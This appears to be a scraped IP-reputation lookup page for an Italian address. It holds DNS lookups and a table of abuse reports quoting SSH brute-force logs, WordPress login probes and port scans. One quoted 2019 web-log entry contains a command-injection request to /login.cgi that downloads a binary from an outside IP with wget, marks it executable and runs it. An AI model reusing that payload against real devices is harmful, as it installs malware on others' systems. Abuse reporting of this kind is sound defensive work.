79.54.1.145 - IPInfo

Basic Info

City: unknown

Region: unknown

Country: Italy

Internet Service Provider: unknown

Hostname: unknown

Organization: unknown

Usage Type: unknown

Comments:

Make a comment on this IP

No discussion about this IP yet. Click above link to make one.

Comments on same subnet:

IP	Type	Details	Datetime
79.54.18.135	attack	Aug 8 06:03:03 cosmoit sshd[15472]: Failed password for root from 79.54.18.135 port 60434 ssh2	2020-08-08 12:07:39
79.54.18.135	attackbots	Aug 7 14:00:10 abendstille sshd\[10885\]: pam_unix$sshd:auth$: authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=79.54.18.135 user=root Aug 7 14:00:12 abendstille sshd\[10885\]: Failed password for root from 79.54.18.135 port 58090 ssh2 Aug 7 14:04:23 abendstille sshd\[15207\]: pam_unix$sshd:auth$: authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=79.54.18.135 user=root Aug 7 14:04:25 abendstille sshd\[15207\]: Failed password for root from 79.54.18.135 port 52151 ssh2 Aug 7 14:08:49 abendstille sshd\[19288\]: pam_unix$sshd:auth$: authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=79.54.18.135 user=root ...	2020-08-07 20:20:23
79.54.18.135	attackspam	Cowrie Honeypot: 3 unauthorised SSH/Telnet login attempts between 2020-08-07T03:43:39Z and 2020-08-07T03:51:39Z	2020-08-07 17:28:29
79.54.18.135	attackspam	Aug 5 23:26:31 piServer sshd[6963]: Failed password for root from 79.54.18.135 port 60500 ssh2 Aug 5 23:29:28 piServer sshd[7342]: Failed password for root from 79.54.18.135 port 54163 ssh2 ...	2020-08-06 05:52:27
79.54.18.135	attackspambots	Aug 5 14:30:00 sticky sshd\[9793\]: pam_unix$sshd:auth$: authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=79.54.18.135 user=root Aug 5 14:30:02 sticky sshd\[9793\]: Failed password for root from 79.54.18.135 port 52492 ssh2 Aug 5 14:34:33 sticky sshd\[9847\]: pam_unix$sshd:auth$: authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=79.54.18.135 user=root Aug 5 14:34:35 sticky sshd\[9847\]: Failed password for root from 79.54.18.135 port 58301 ssh2 Aug 5 14:38:52 sticky sshd\[9861\]: pam_unix$sshd:auth$: authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=79.54.18.135 user=root	2020-08-05 23:58:41
79.54.18.135	attack	Aug 1 20:46:39 jumpserver sshd[348962]: Failed password for root from 79.54.18.135 port 60980 ssh2 Aug 1 20:49:14 jumpserver sshd[348989]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=79.54.18.135 user=root Aug 1 20:49:16 jumpserver sshd[348989]: Failed password for root from 79.54.18.135 port 52153 ssh2 ...	2020-08-02 05:00:16
79.54.179.241	attackspambots	79.54.179.241 - - [31/Jul/2020:06:38:14 +0100] "POST /xmlrpc.php HTTP/1.1" 403 219 "-" "Mozilla/5.0 (X11; Linux i686; rv:2.0.1) Gecko/20100101 Firefox/4.0.1" 79.54.179.241 - - [31/Jul/2020:06:38:14 +0100] "POST /wp-login.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (X11; Linux i686; rv:2.0.1) Gecko/20100101 Firefox/4.0.1" 79.54.179.241 - - [31/Jul/2020:06:50:39 +0100] "POST /xmlrpc.php HTTP/1.1" 403 219 "-" "Mozilla/5.0 (X11; Linux i686; rv:2.0.1) Gecko/20100101 Firefox/4.0.1" ...	2020-07-31 15:38:22
79.54.168.26	attack	Unauthorized connection attempt detected from IP address 79.54.168.26 to port 85	2020-05-13 04:50:47
79.54.155.234	attackspam	Automatic report - Port Scan Attack	2020-02-22 18:24:12
79.54.14.26	attackbots	Automatic report - Port Scan Attack	2020-02-19 02:34:21
79.54.100.252	attack	Port scan	2019-11-16 08:52:24
79.54.147.42	attackspambots	79.54.147.42 - - [22/Jul/2019:15:09:02 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://206.189.170.165/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 166 "-" "ELEMENT/2.0" ...	2019-07-23 07:05:15

Whois info:

Dig info:

; <<>> DiG 9.10.3-P4-Ubuntu <<>> 79.54.1.145
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 33690
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;79.54.1.145.			IN	A

;; AUTHORITY SECTION:
.			569	IN	SOA	a.root-servers.net. nstld.verisign-grs.com. 2021122900 1800 900 604800 86400

;; Query time: 59 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Wed Dec 29 18:49:31 CST 2021
;; MSG SIZE  rcvd: 104

Host info

145.1.54.79.in-addr.arpa domain name pointer host-79-54-1-145.retail.telecomitalia.it.

Nslookup info:

Server:		183.60.83.19
Address:	183.60.83.19#53

Non-authoritative answer:
145.1.54.79.in-addr.arpa	name = host-79-54-1-145.retail.telecomitalia.it.

Authoritative answers can be found from:

Related IP info:

Related comments:

IP	Type	Details	Datetime
183.157.175.186	attack	Chat Spam	2019-09-29 05:20:53
129.213.63.120	attack	Sep 28 23:16:50 dev0-dcfr-rnet sshd[23974]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=129.213.63.120 Sep 28 23:16:52 dev0-dcfr-rnet sshd[23974]: Failed password for invalid user di from 129.213.63.120 port 33364 ssh2 Sep 28 23:20:46 dev0-dcfr-rnet sshd[23989]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=129.213.63.120	2019-09-29 05:31:40
222.186.180.147	attackbotsspam	09/28/2019-17:23:00.520946 222.186.180.147 Protocol: 6 ET SCAN Potential SSH Scan	2019-09-29 05:23:40
27.148.205.75	attack	Sep 28 17:20:18 xtremcommunity sshd\[11456\]: Invalid user guest from 27.148.205.75 port 52314 Sep 28 17:20:18 xtremcommunity sshd\[11456\]: pam_unix$sshd:auth$: authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=27.148.205.75 Sep 28 17:20:20 xtremcommunity sshd\[11456\]: Failed password for invalid user guest from 27.148.205.75 port 52314 ssh2 Sep 28 17:24:21 xtremcommunity sshd\[11567\]: Invalid user wifi from 27.148.205.75 port 57260 Sep 28 17:24:21 xtremcommunity sshd\[11567\]: pam_unix$sshd:auth$: authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=27.148.205.75 ...	2019-09-29 05:39:19
93.95.56.130	attackspam	Sep 28 11:34:44 hiderm sshd\[21418\]: Invalid user noc from 93.95.56.130 Sep 28 11:34:44 hiderm sshd\[21418\]: pam_unix$sshd:auth$: authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=93.95.56.130 Sep 28 11:34:46 hiderm sshd\[21418\]: Failed password for invalid user noc from 93.95.56.130 port 51307 ssh2 Sep 28 11:39:58 hiderm sshd\[21944\]: Invalid user minecraft from 93.95.56.130 Sep 28 11:39:58 hiderm sshd\[21944\]: pam_unix$sshd:auth$: authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=93.95.56.130	2019-09-29 05:47:10
62.234.81.63	attackspam	Sep 28 10:51:00 php1 sshd\[22399\]: Invalid user alexandra from 62.234.81.63 Sep 28 10:51:00 php1 sshd\[22399\]: pam_unix$sshd:auth$: authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=62.234.81.63 Sep 28 10:51:02 php1 sshd\[22399\]: Failed password for invalid user alexandra from 62.234.81.63 port 51401 ssh2 Sep 28 10:55:42 php1 sshd\[22966\]: Invalid user client from 62.234.81.63 Sep 28 10:55:42 php1 sshd\[22966\]: pam_unix$sshd:auth$: authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=62.234.81.63	2019-09-29 05:13:41
61.247.190.5	attack	2019-09-28 16:16:16 H=(server-5.optimaxbd.net) [61.247.190.5]:55677 I=[192.147.25.65]:25 F= rejected RCPT : RBL: found in thrukfz5b56tq6xao6odgdyjrq.zen.dq.spamhaus.net (127.0.0.4, 127.0.0.3) (https://www.spamhaus.org/query/ip/61.247.190.5) 2019-09-28 16:16:17 H=(server-5.optimaxbd.net) [61.247.190.5]:55677 I=[192.147.25.65]:25 F= rejected RCPT : RBL: found in thrukfz5b56tq6xao6odgdyjrq.zen.dq.spamhaus.net (127.0.0.4, 127.0.0.3) (https://www.spamhaus.org/query/ip/61.247.190.5) 2019-09-28 16:16:18 H=(server-5.optimaxbd.net) [61.247.190.5]:55677 I=[192.147.25.65]:25 F= rejected RCPT : RBL: found in thrukfz5b56tq6xao6odgdyjrq.zen.dq.spamhaus.net (127.0.0.3, 127.0.0.4) (https://www.spamhaus.org/sbl/query/SBLCSS) ...	2019-09-29 05:29:17
128.199.125.95	attackspam	Sep 28 22:52:51 icinga sshd[8402]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=128.199.125.95 Sep 28 22:52:53 icinga sshd[8402]: Failed password for invalid user judith from 128.199.125.95 port 46025 ssh2 ...	2019-09-29 05:44:34
14.161.174.188	attackbotsspam	Chat Spam	2019-09-29 05:39:45
217.73.83.96	attackbots	Sep 29 02:15:10 gw1 sshd[15735]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=217.73.83.96 Sep 29 02:15:13 gw1 sshd[15735]: Failed password for invalid user harrison from 217.73.83.96 port 34212 ssh2 ...	2019-09-29 05:16:19
198.245.49.37	attackspam	Sep 28 22:53:42 core sshd[20900]: Invalid user steve from 198.245.49.37 port 50020 Sep 28 22:53:43 core sshd[20900]: Failed password for invalid user steve from 198.245.49.37 port 50020 ssh2 ...	2019-09-29 05:14:12
139.59.25.3	attackspam	Sep 28 11:25:32 hcbb sshd\[20779\]: Invalid user cpanel from 139.59.25.3 Sep 28 11:25:32 hcbb sshd\[20779\]: pam_unix$sshd:auth$: authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=139.59.25.3 Sep 28 11:25:33 hcbb sshd\[20779\]: Failed password for invalid user cpanel from 139.59.25.3 port 59816 ssh2 Sep 28 11:30:16 hcbb sshd\[21216\]: Invalid user steamcmd from 139.59.25.3 Sep 28 11:30:16 hcbb sshd\[21216\]: pam_unix$sshd:auth$: authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=139.59.25.3	2019-09-29 05:46:40
92.79.179.89	attackspam	22 attack	2019-09-29 05:37:50
49.88.112.90	attackspam	F2B jail: sshd. Time: 2019-09-28 23:20:18, Reported by: VKReport	2019-09-29 05:21:35
27.150.169.223	attack	Sep 28 21:05:13 game-panel sshd[12564]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=27.150.169.223 Sep 28 21:05:15 game-panel sshd[12564]: Failed password for invalid user adminadmin from 27.150.169.223 port 34712 ssh2 Sep 28 21:09:21 game-panel sshd[12789]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=27.150.169.223	2019-09-29 05:46:56

Recently Reported IPs

14.76.34.168	217.180.37.134	46.222.23.104	235.212.149.65
29.140.20.93	199.247.229.68	11.220.152.118	1.226.198.183
230.42.32.62	81.137.27.82	22.129.92.155	13.238.136.220
39.237.240.231	205.183.252.221	81.248.120.224	194.65.38.47
5.234.240.52	184.29.198.38	193.15.106.34	151.250.117.232